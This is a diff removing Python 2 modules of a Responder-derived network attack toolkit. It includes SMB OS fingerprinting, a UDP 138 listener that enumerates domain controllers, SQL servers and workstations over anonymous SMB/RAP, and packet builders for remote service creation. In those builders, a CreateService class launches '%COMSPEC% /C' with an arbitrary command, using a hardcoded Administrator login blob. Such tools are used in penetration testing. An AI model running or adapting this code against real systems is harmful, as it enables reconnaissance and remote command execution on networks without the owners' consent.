("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("wordcount", "\x00"),
("bcc", "\x62\x00"),
("data", "")
])
def calculate(self):
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("separator1","\x02" ),
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("separator2","\x02"),
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
("separator3","\x02"),
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
("separator4","\x02"),
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
("separator5","\x02"),
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
("separator6","\x02"),
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1",""),
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
def OsNameClientVersion(data):
lenght = struct.unpack('<H',data[43:45])[0]
pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
OsVersion = tuple(var)[0]
return OsVersion
def RunSmbFinger(host):
s = socket(AF_INET, SOCK_STREAM)
s.connect(host)
s.settimeout(0.7)
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
t = SMBSessionFingerData()
t.calculate()
final = t
packet0 = str(head)+str(final)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
if data[8:10] == "\x73\x16":
return OsNameClientVersion(data)

View file

@ -1,236 +0,0 @@
import socket
import threading
import struct
import logging
import string
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.responder.fingerprinter.RAPLANMANPackets import *
from core.logger import logger
formatter = logging.Formatter("%(asctime)s [LANfingerprinter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("LANfingerprinter", formatter)
class LANfingerprinter():
def start(self, options):
global args; args = options
try:
log.debug("online")
server = ThreadingUDPServer(("0.0.0.0", 138), Browser)
t = threading.Thread(name="LANfingerprinter", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
log.error("Error starting on port 138: {}:".format(e))
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
UDPServer.server_bind(self)
class Browser(BaseRequestHandler):
def handle(self):
try:
request, socket = self.request
if args.analyze:
ParseDatagramNBTNames(request,self.client_address[0])
BecomeBackup(request,self.client_address[0])
BecomeBackup(request,self.client_address[0])
except Exception:
pass
def NBT_NS_Role(data):
Role = {
"\x41\x41\x00":"Workstation/Redirector Service.",
"\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)",
"\x42\x4d\x00":"Domain controller service. This name is a domain controller.",
"\x42\x4e\x00":"Local Master Browser.",
"\x42\x4f\x00":"Browser Election Service.",
"\x43\x41\x00":"File Server Service.",
"\x41\x42\x00":"Browser Service.",
}
if data in Role:
return Role[data]
else:
return "Service not known."
def Decode_Name(nbname):
#From http://code.google.com/p/dpkt/ with author's permission.
try:
if len(nbname) != 32:
return nbname
l = []
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
except Exception as e:
log.debug("Error parsing NetBIOS name: {}".format(e))
return "Illegal NetBIOS name"
def WorkstationFingerPrint(data):
Role = {
"\x04\x00" :"Windows 95",
"\x04\x10" :"Windows 98",
"\x04\x90" :"Windows ME",
"\x05\x00" :"Windows 2000",
"\x05\x00" :"Windows XP",
"\x05\x02" :"Windows 2003",
"\x06\x00" :"Windows Vista/Server 2008",
"\x06\x01" :"Windows 7/Server 2008R2",
}
if data in Role:
return Role[data]
else:
return False
def PrintServerName(data, entries):
if entries == 0:
pass
else:
entrieslen = 26*entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ]
l =[]
for x in ServerName:
if WorkstationFingerPrint(x[16:18]):
l.append(x[:16].replace('\x00', '')+'| OS:%s'%(WorkstationFingerPrint(x[16:18])))
else:
l.append(x[:16].replace('\x00', ''))
return l
def ParsePacket(Payload):
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
if StatusCode == "\x00\x00":
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
ParsedNames = PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
return ParsedNames
else:
return None
def RAPThisDomain(Client,Domain):
try:
l =[]
for x in range(1):
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
if PDC is not None:
l.append('[LANFingerprinter]')
l.append('Domain detected on this network:')
for x in PDC:
l.append(' -'+x)
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
if SQL is not None:
l.append('SQL Server detected on Domain {}:'.format(Domain))
for x in SQL:
l.append(' -'+x)
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
if WKST is not None:
l.append('Workstations/Servers detected on Domain {}:'.format(Domain))
for x in WKST:
l.append(' -'+x)
else:
pass
return '\n'.join(l)
except:
pass
def RapFinger(Host,Domain, Type):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((Host,445))
s.settimeout(0.3)
h = SMBHeader(cmd="\x72",mid="\x01\x00")
n = SMBNegoData()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(1024)
##Session Setup AndX Request, Anonymous.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",mid="\x02\x00")
t = SMBSessionData()
t.calculate()
final = t
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(1024)
##Tree Connect IPC$.
if data[8:10] == "\x73\x00":
head = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00")
t = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(1024)
##Rap ServerEnum.
if data[8:10] == "\x75\x00":
head = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00")
t = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(64736)
##Rap ServerEnum, Get answer and return what we're looking for.
if data[8:10] == "\x25\x00":
s.close()
return ParsePacket(data)
except:
return None
def BecomeBackup(data, Client):
try:
DataOffset = struct.unpack('<H',data[139:141])[0]
BrowserPacket = data[82+DataOffset:]
if BrowserPacket[0] == "\x0b":
ServerName = BrowserPacket[1:]
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role = NBT_NS_Role(data[45:48])
if args.analyze:
Message1=RAPThisDomain(Client,Domain)
log.warning(Message1)
log.warning("Datagram Request from {} | Hostname: {} via the {} wants to become a Local Master Browser Backup on this domain: {}.".format(Client, Name,Role,Domain))
except:
pass
try:
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role1 = NBT_NS_Role(data[45:48])
Role2 = NBT_NS_Role(data[79:82])
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
if args.analyze:
Message1=RAPThisDomain(Client,Domain)
log.warning(Message1)
log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
except:
pass
def ParseDatagramNBTNames(data,Client):
try:
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role1 = NBT_NS_Role(data[45:48])
Role2 = NBT_NS_Role(data[79:82])
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
if args.analyze:
Message1=RAPThisDomain(Client,Domain)
log.warning(Message1)
log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
except:
pass

View file

@ -1,146 +0,0 @@
import struct
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNegoData(Packet):
fields = OrderedDict([
("wordcount", "\x00"),
("bcc", "\x54\x00"),
("separator1","\x02" ),
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("separator2","\x02"),
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
])
def calculate(self):
CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"])
self.fields["bcc"] = struct.pack("<h",len(CalculateBCC))
class SMBSessionData(Packet):
fields = OrderedDict([
("wordcount", "\x0a"),
("AndXCommand", "\xff"),
("reserved","\x00"),
("andxoffset", "\x00\x00"),
("maxbuff","\xff\xff"),
("maxmpx", "\x02\x00"),
("vcnum","\x01\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("PasswordLen","\x18\x00"),
("reserved2","\x00\x00\x00\x00"),
("bcc","\x3b\x00"),
("AccountPassword",""),
("AccountName",""),
("AccountNameTerminator","\x00"),
("PrimaryDomain","WORKGROUP"),
("PrimaryDomainTerminator","\x00"),
("NativeOs","Unix"),
("NativeOsTerminator","\x00"),
("NativeLanman","Samba"),
("NativeLanmanTerminator","\x00"),
])
def calculate(self):
CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
self.fields["bcc"] = struct.pack("<h", len(CompleteBCC))
self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"])))
class SMBTreeConnectData(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
("AndXCommand", "\xff"),
("Reserved","\x00" ),
("Andxoffset", "\x00\x00"),
("Flags","\x08\x00"),
("PasswdLen", "\x01\x00"),
("Bcc","\x1b\x00"),
("Passwd", "\x00"),
("Path",""),
("PathTerminator","\x00"),
("Service","?????"),
("Terminator", "\x00"),
])
def calculate(self):
self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2]
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
class RAPNetServerEnum3Data(Packet):
fields = OrderedDict([
("Command", "\xd7\x00"),
("ParamDescriptor", "WrLehDzz"),
("ParamDescriptorTerminator", "\x00"),
("ReturnDescriptor","B16BBDz"),
("ReturnDescriptorTerminator", "\x00"),
("DetailLevel", "\x01\x00"),
("RecvBuff","\xff\xff"),
("ServerType", "\x00\x00\x00\x80"),
("TargetDomain","SMB"),
("RapTerminator","\x00"),
("TargetName","ABCD"),
("RapTerminator2","\x00"),
])
class SMBTransRAPData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("TotalParamCount", "\x24\x00"),
("TotalDataCount","\x00\x00" ),
("MaxParamCount", "\x08\x00"),
("MaxDataCount","\xff\xff"),
("MaxSetupCount", "\x00"),
("Reserved","\x00\x00"),
("Flags", "\x00"),
("Timeout","\x00\x00\x00\x00"),
("Reserved1","\x00\x00"),
("ParamCount","\x24\x00"),
("ParamOffset", "\x5a\x00"),
("DataCount", "\x00\x00"),
("DataOffset", "\x7e\x00"),
("SetupCount", "\x00"),
("Reserved2", "\x00"),
("Bcc", "\x3f\x00"),
("Terminator", "\x00"),
("PipeName", "\\PIPE\\LANMAN"),
("PipeTerminator","\x00\x00"),
("Data", ""),
])
def calculate(self):
#Padding
if len(str(self.fields["Data"]))%2==0:
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
else:
self.fields["PipeTerminator"] = "\x00\x00\x00"
##Convert Path to Unicode first before any Len calc.
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
##Data Len
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
##Packet len
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]

View file

@ -1,480 +0,0 @@
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from odict import OrderedDict
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
##################################################################################
#SMB Client Stuff
##################################################################################
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x4e"),
("uid", "\x00\x08"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("Separator1","\x02" ),
("Dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("Separator2","\x02"),
("Dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
("Separator3","\x02"),
("Dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
("Separator4","\x02"),
("Dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
("Separator5","\x02"),
("Dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
("Separator6","\x02"),
("Dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
])
class SMBSessionTreeData(Packet):
fields = OrderedDict([
("Wordcount", "\x0d"),
("AndXCommand", "\x75"),
("Reserved", "\x00" ),
("Andxoffset", "\x7c\x00"),
("Maxbuff","\x04\x11"),
("Maxmpx", "\x32\x00"),
("Vcnum","\x00\x00"),
("Sessionkey", "\x00\x00\x00\x00"),
("AnsiPassLength","\x18\x00"),
("UnicodePassLength", "\x00\x00"),
("Reserved2","\x00\x00\x00\x00"),
("Capabilities", "\xd4\x00\x00\x00"),
("Bcc","\x3f\x00"),
("AnsiPasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
("UnicodePasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
("Username","Administrator"),
("UsernameTerminator","\x00\x00"),
("Domain","SMB"),
("DomainTerminator","\x00\x00"),
("Nativeos",""),
("NativeosTerminator","\x00\x00"),
("Lanmanager",""),
("LanmanagerTerminator","\x00\x00\x00"),
("Wordcount2","\x04"),
("Andxcmd2","\xff"),
("Reserved3","\x00"),
("Andxoffset2","\x06\x01"),
("Flags","\x08\x00"),
("PasswordLength","\x01\x00"),
("Bcc2","\x19\x00"),
("Passwd","\x00"),
("PrePath","\\\\"),
("Targ", "CSCDSFCS"),
("IPC", "\\IPC$"),
("TerminatorPath","\x00\x00"),
("Service","?????"),
("TerminatorService","\x00"),
])
def calculate(self):
##Convert first
self.fields["Username"] = self.fields["Username"].encode('utf-16be')
self.fields["Domain"] = self.fields["Domain"].encode('utf-16be')
self.fields["Nativeos"] = self.fields["Nativeos"].encode('utf-16be')
self.fields["Lanmanager"] = self.fields["Lanmanager"].encode('utf-16be')
self.fields["PrePath"] = self.fields["PrePath"].encode('utf-16le')
self.fields["Targ"] = self.fields["Targ"].encode('utf-16le')
self.fields["IPC"] = self.fields["IPC"].encode('utf-16le')
##Then calculate
data1= str(self.fields["AnsiPasswd"])+(self.fields["UnicodePasswd"])+str(self.fields["Username"])+str(self.fields["UsernameTerminator"])+str(self.fields["Domain"])+str(self.fields["DomainTerminator"])+str(self.fields["Nativeos"])+str(self.fields["NativeosTerminator"])+str(self.fields["Lanmanager"])+str(self.fields["LanmanagerTerminator"])
data2= str(self.fields["Passwd"])+str(self.fields["PrePath"])+str(self.fields["Targ"])+str(self.fields["IPC"])+str(self.fields["TerminatorPath"])+str(self.fields["Service"])+str(self.fields["TerminatorService"])
self.fields["Bcc"] = struct.pack("<h",len(data1))
self.fields["Bcc2"] = struct.pack("<h",len(data2))
self.fields["Andxoffset"] = struct.pack("<h",len(data1)+32+29)
self.fields["AnsiPassLength"] = struct.pack("<h",len(str(self.fields["AnsiPasswd"])))
self.fields["UnicodePassLength"] = struct.pack("<h",len(str(self.fields["UnicodePasswd"])))
self.fields["PasswordLength"] = struct.pack("<h",len(str(self.fields["Passwd"])))
class SMBNTCreateData(Packet):
fields = OrderedDict([
("Wordcount", "\x18"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("Reserved2", "\x00"),
("FileNameLen", "\x07\x00"),
("CreateFlags", "\x16\x00\x00\x00"),
("RootFID", "\x00\x00\x00\x00"),
("AccessMask", "\x00\x00\x00\x02"),
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("FileAttrib", "\x00\x00\x00\x00"),
("ShareAccess", "\x07\x00\x00\x00"),
("Disposition", "\x01\x00\x00\x00"),
("CreateOptions", "\x00\x00\x00\x00"),
("Impersonation", "\x02\x00\x00\x00"),
("SecurityFlags", "\x00"),
("Bcc", "\x08\x00"),
("FileName", "\\svcctl"),
("FileNameNull", "\x00"),
])
def calculate(self):
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1))
class SMBReadData(Packet):
fields = OrderedDict([
("Wordcount", "\x0a"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("FID", "\x00\x00"),
("Offset", "\x19\x03\x00\x00"),
("MaxCountLow", "\xed\x01"),
("MinCount", "\xed\x01"),
("Hidden", "\xff\xff\xff\xff"),
("Remaining", "\x00\x00"),
("Bcc", "\x00\x00"),
("Data", ""),
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBWriteData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("FID", "\x06\x40"),
("Offset", "\xea\x03\x00\x00"),
("Reserved2", "\xff\xff\xff\xff"),
("WriteMode", "\x08\x00"),
("Remaining", "\xdc\x02"),
("DataLenHi", "\x00\x00"),
("DataLenLow", "\xdc\x02"),
("DataOffset", "\x3f\x00"),
("HiOffset", "\x00\x00\x00\x00"),
("Bcc", "\xdc\x02"),
("Data", ""),
])
def calculate(self):
self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBDCEData(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x0b"),
("PacketFlag", "\x03"),
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"),
("MaxTransFrag", "\xd0\x16"),
("MaxRecvFrag", "\xd0\x16"),
("GroupAssoc", "\x00\x00\x00\x00"),
("CTXNumber", "\x01"),
("CTXPadding", "\x00\x00\x00"),
("CTX0ContextID", "\x00\x00"),
("CTX0ItemNumber", "\x01\x00"),
("CTX0UID", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
("CTX0UIDVersion", "\x02\x00"),
("CTX0UIDVersionlo","\x00\x00"),
("CTX0UIDSyntax", "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
("CTX0UIDSyntaxVer","\x02\x00\x00\x00"),
])
def calculate(self):
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
self.fields["FragLen"] = struct.pack("<h",len(Data1))
class SMBDCEPacketData(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x00"),
("PacketFlag", "\x03"),
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"),
("AllocHint", "\x38\x00\x00\x00"),
("ContextID", "\x00\x00"),
("Opnum", "\x0f\x00"),
("Data", ""),
])
def calculate(self):
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
self.fields["FragLen"] = struct.pack("<h",len(Data1))
self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
class SMBDCESVCCTLOpenManagerW(Packet):
fields = OrderedDict([
("MachineNameRefID", "\xb5\x97\xb9\xbc"),
("MaxCount", "\x0f\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0f\x00\x00\x00"),
("MachineName", "\\\\169.220.1.11"),##This is not taken into consideration.
("MachineNameNull", "\x00\x00\x00\x00"),
("DbPointer", "\x00\x00\x00\x00"),
("AccessMask", "\x3f\x00\x0f\x00"),
])
def calculate(self):
## Convert to UTF-16LE
self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
class SMBDCESVCCTLCreateService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x0c\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0c\x00\x00\x00"),
("ServiceName", "AyAGaxwLhCP"),
("MachineNameNull", "\x00\x00"),
("ReferentID", "\x9c\xfa\x9a\xc9"),
("MaxCountRefID", "\x11\x00\x00\x00"),
("OffsetID", "\x00\x00\x00\x00"),
("ActualCountRefID", "\x11\x00\x00\x00"),
("DisplayNameID", "DhhUFcsvrfJvLwRq"),
("DisplayNameIDNull", "\x00\x00\x00\x00"),
("AccessMask", "\xff\x01\x0f\x00"),
("ServerType", "\x10\x01\x00\x00"),
("ServiceStartType", "\x03\x00\x00\x00"),
("ServiceErrorCtl", "\x00\x00\x00\x00"),
("BinPathMaxCount", "\xb6\x00\x00\x00"),
("BinPathOffset", "\x00\x00\x00\x00"),
("BinPathActualCount", "\xb6\x00\x00\x00"),
("BinPathName", "%COMSPEC% /C \""),
("BinCMD", ""),
("BintoEnd", "\""),
("BinPathNameNull", "\x00\x00"),
("Nullz", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
])
def calculate(self):
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
## Calculate first
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
